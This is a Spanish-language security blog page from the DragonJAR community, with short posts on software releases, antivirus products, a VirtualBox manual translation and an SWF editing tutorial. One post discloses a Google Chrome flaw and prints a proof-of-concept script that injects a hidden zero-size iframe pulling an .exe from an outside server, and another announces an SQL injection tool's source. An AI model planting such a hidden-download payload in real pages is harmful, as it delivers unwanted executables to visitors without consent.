La Comunidad DragonJAR

Jbyte un usuario de nuestra comunidad, ha liberado el Código fuente de SqlInyection Tools, una herramienta basica para realizar sql injection.

El código fuente esta escrito en Visual Basic .NET 2005, pueden modificar el codigo y aumentar sus funcionalidades. Leer más…

Ad-Aware, considerado por muchos el mejor antispyware del mercado ha cumplido 10 años, y para celebrar este décimo aniversario Lavasoft, su fabricante, ha decidido sacaro una nueva y mejorada versión de su producto a la cual llamó Ad-Aware Free Anniversary Edition.

De acuerdo al comunicado oficial, el nuevo programa en comparación con la versión 2008 consume un 74% menos de memoria, casi un 60% menos de CPU durante los análisis y un diseño mas intuitivo. Leer más…

A principios de mes les comentaba sobre un Webcast de Seguridad en Mac OS X que realizarían Tiller Beauchamp, Jesse D’Aguanno y moderado por el fundador de Black Hat Jeff Mos, algunos pudimos disfrutar de esta excelente charla en vivo el 15 de enero, pero muchos otros no tuvieron la oportunidad.

Para las personas que no tuvieron la oportunidad de escuchar en vivo este excelente WebCast de seguridad en Mac OS X, les dejo dejo el Audio de este WebCast: Leer más…

Erdosain, un usuario de la comunidad ha realizado la traducción al español de toda la documentación relacionada con redes en VirtualBox (2.1.0) y la ha puesto a disposición de todos nosotros:

Mensaje de erdosain:

Mi inquietud por traducir el manual se debió a las grandes posibilidades de hacer prácticas de hacking con una máquina virtual (VM): como seguramente ya sabrán, VB nos permite armar una red virtual, podemos comunicarnos con y desde una VM como si fuera una red física real, el sistema operativo instalado tendrá una dirección IP, puertos que escanear, etc. Esto es especialmente útil para los que todavía no disponemos de una conexión de Internet para practicar o para hacerlo mediante una VM sin el peligro de estropear algo (salvo la VM, claro) y sin molestar a nadie; en este sentido creo que la traducción puede ser de gran utilidad para la comunidad. No estoy seguro de si existe ya un manual en castellano, hice un googleo superficial y sólo encontré tutoriales acerca de la instalación de una VM o textos en inglés.

Descargar Documentación de Redes con VirtualBox

Mas Información:
Traducción manual VirtualBox

Después de ser anunciado ayer en la conferencia CES por el mismo Steve Ballmer (actual presidente de Microsoft) hoy por fin esta “disponible” la primera Beta Oficial del Windows 7, “disponible” por que solo lo podrán descargar las primeras 2.5 millones de personas (suena mucho pero en realidad no lo es), actualmente el enlace de descarga de la pagina oficial ha desaparecido y la única forma de descargarla es por otros medios que no tienen ninguna relación con Microsoft.

Recuerden que es solo una beta y no puede ser juzgado como un producto final, aunque si nos mostrara como podría llegar a ser el Windows 7 cuando salga oficialmente al mercado, la fecha de expiación de esta Beta es Agosto 1, 2009.

Si quiere probar suerte en descargarlo desde la pagina oficial, les dejo el enlace a la pagina oficial y otro a el sitio de technet desde donde también se puede descargar.

Actualizado:
Aqui tienes los enlaces de descarga directa desde los Servidores de Microsoft para Windows 7 a 32bits y Windows 7 a 64bits.

Después de publicar la lista con los Antivirus que Reaccionan Mas Rápido según el informe de SRI (Stanford Research Institute) International, me dio curiosidad por probar el antivirus Avira AntiVir, quien resulto ser el que mejor se desempeñó en las pruebas realizadas.

Llevo varios días utilizando la versión gratuita anti virus y me ha gustado bastante, consume pocos recursos, se actualiza constantemente, hoy al decidirme a instalar su versión premiun (la cual añade protección contra spyware, adware, spam) me doy cuenta de una promoción llevada a cabo por la revista alemana PC Welt en la cual regalan 6 meses de licencia para la version premiun de Avira AntiVir Premiun.

Leer más…

Después de varias betas y 2 relase candidates tenemos hoy la versión final de WordPress 2.7, con grandes cambios principalmente en su diseño, les dejo un listado de sus cambios mas importantes.

Diseño / Navegación

• Expandir/colapsar para ver la navegación
• Esquema de color
• Botón de minimizar la barra de menús con menús emergentes
• Accesos directos de menú para añadir un nuevo post
• Navegación principal en el lateral izquierdo
• Nuevo diseño y organización

Leer más…

El Nuevo Navegador de Google puede ser muy rápido, muy bonito, consumir poca memoria, tener muchas funciones “WoW” pero en estos 2 días ha demostrado que es muy inseguro hoy me entero gracias a un comentario de exactlimon sobre un nuevo fallo en Google Chrome que permite descargar archivos (de cualquier tipo) sin el consentimiento del usuario.

Este fallo descubierto nerex y publicado en milw0rm.com consiste simplemente en escribir el siguiente código JavaScript en un sitio malicioso y automáticamente al visitar este sitio se descargara la aplicación mencionada.

<script>
document.write('<iframe src="http://www.dragonjar.org/calc.exe" frameborder="0" width="0" height="0">');
</script>

He subido una prueba de concepto al servidor con la calculadora de windows y  haciendo click aquí obtendrás algo parecido a esto.

El archivo no se ejecuta, pero estoy seguro que con otro nombre e icono mas llamativos muchos lo abrirían solo por “curiosidad”, al parecer Google se ha dado cuenta de la cantidad de errores que tiene su navegador y ha dejado de promocionarlo en su pagina principal actualizado, han vuelto a promocionarlo en la pagina principal de google.

La version afectada con este y los otros fallos de seguridad mencionados anteriormente en el portal es la 0.2.149.27 les recomiendo que no utilicen este navegador al menos hasta que salga una nueva versión con estos problemas solucionados.

Mas Información:
http://milw0rm.com/exploits/6355
Primera Vulnerabilidad en Google Chrome
Nueva Vulnerabilidad en Google Chrome

Nuestro amigo Sk0rpy0 en Videotutorial descarga y edición de archivos SWF by Sk0rpy0  ha publicado un vídeo tutorial en el cual enseña como descargar y editar una animación flash de form (algo bastante común en vídeo tutoriales y en animaciones flash de pago).

Recomendado.

http://www.zshare.net/download/3157155c83dce0/
http://www.badongo.com/file/4056656
http://rapidshare.com/files/49245009/VideoTuto_SWF.rar.html
http://4filehosting.com/file/62612/VideoTuto-SWF-rar.html
http://www.sendspace.com/file/aq46fg
http://www.megaupload.com/?d=QM9RO7C3

Password:
www.dragonjar.us

Herramientas:
UnPlug
SWF Decompiler (version de prueba)